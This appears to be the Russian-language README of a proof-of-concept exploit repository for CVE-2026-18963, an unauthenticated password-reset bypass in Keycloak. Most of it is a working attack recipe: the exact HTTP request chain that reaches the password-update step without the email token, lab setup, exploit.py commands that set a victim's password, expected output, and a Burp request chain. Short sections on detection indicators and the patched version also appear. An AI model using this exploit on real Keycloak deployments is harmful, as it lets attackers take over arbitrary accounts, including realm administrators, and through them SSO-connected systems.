
Эксплойт Proof-of-concept для CVE-2026-18963 — критический обход процедуры сброса учётных данных Keycloak, позволяющий захват учётной записи без аутентификации. Включает настройку лабораторной среды, рекомендации по обнаружению и шаги по устранению уязвимости для авторизованного тестирования.
Захват учётной записи без аутентификации в процессе сброса учётных данных (reset-credentials) Keycloak. Злоумышленник, знающий только имя пользователя/email, может сбросить пароль любого пользователя — включая администраторов — так и не получив письмо с подтверждением.
Данный PoC опубликован строго в образовательных целях, для защитных исследований, разработки систем обнаружения и авторизованного тестирования безопасности.
Полное заявление см. в DISCLAIMER.md.
| CVE | CVE-2026-18963 |
| Критичность | Критический — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Недостаток | CWE-640 — Слабый механизм восстановления пароля |
| Затронутые версии | Keycloak < 26.7.2 (upstream). Также исправлены сборочные потоки RH в сборках 26.6.6 / 26.4.15 |
| Исправлено в | Keycloak 26.7.2 (PR #51844) |
| Предусловия | На реалме включён Forgot password (сброс учётных данных) — значение по умолчанию |
| Воздействие | Полный захват учётной записи любого пользователя (включая администраторов реалма) → компрометация IdP + латеральный SSO-доступ |
Процесс сброса пароля (reset-credentials) обычно требует перейти по ссылке, отправленной владельцу учётной записи по email, прежде чем можно будет установить новый пароль. Два дефекта позволяют злоумышленнику полностью обойти эту проверку:
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" без привязки к ID исполнения. Повторный вход в процесс оставляет сессию аутентификации в запутанном/устаревшем состоянии.ResetCredentialEmail.action() вызывает context.success() без проверки ACTION_TOKEN_USER_ID (т.е. без подтверждения того, что отправленный по email action-токен действительно был израсходован).Совместное использование этих дефектов продвигает сессию аутентификации сразу к шагу UPDATE_PASSWORD для произвольного пользователя — email не требуется.
GET /auth (client_id=account) ── login page (has "Forgot password?")
GET /login-actions/reset-credentials … ── choose-user form
POST …reset-credentials tryAnotherWay=on ── bug #1: enter "Try Another Way" selector
POST …reset-credentials username=<victim> ── select user via selector
GET …/restart … ── refresh session state
GET /login-actions/reset-credentials … ── re-enter → STALE selector (corrupted state)
POST …reset-credentials username=<victim> ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
password-new=…&password-confirm=… ── 302 → password changed → TAKEOVER
Аннотированный diff патча см. в docs/ROOTCAUSE.md.
Вам понадобятся Docker и Python 3 с установленным модулем requests.
# 1) Spin up a vulnerable Keycloak + demo realm/user (any version < 26.7.2)
./run_lab.sh # uses keycloak/keycloak:26.5.0
# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
Ожидаемый хвост вывода:
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
Затем войдите под учётной записью victim / Pwned-2026!, чтобы подтвердить захват.
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
--base Keycloak base URL, e.g. http://127.0.0.1:8080
--realm target realm (default: master)
--client public client without PKCE (default: account)
--victim victim username or email
--new-pass password to set
--proxy route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
-k skip TLS verification
Каждый HTTP-ответ сохраняется в ./dump/ для анализа.
Keycloak уже использует порт 8080, поэтому укажите слушатель Burp на другом порту (например, 8081):
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!' \
--proxy http://127.0.0.1:8081
Готовая цепочка запросов для Burp Repeater находится в requests/burp-chain.txt.
Ищите смену пароля, которой не предшествовала проверка email в той же сессии аутентификации:
UPDATE_PASSWORD без предшествующих VERIFY_EMAIL / EXECUTE_ACTION_TOKEN в этой сессии.reset-credentials с параметром tryAnotherWay=on.login-actions/reset-credentials с одним и тем же tab_id.Полный прогон записан в CVE-2026-18963.mp4 (в корне репозитория).
Цепочка подтверждена сверкой с публичным патчем Keycloak (PR #51844) и отчётами сообщества.
MIT © red-darkin — только для образовательного использования и авторизованного тестирования.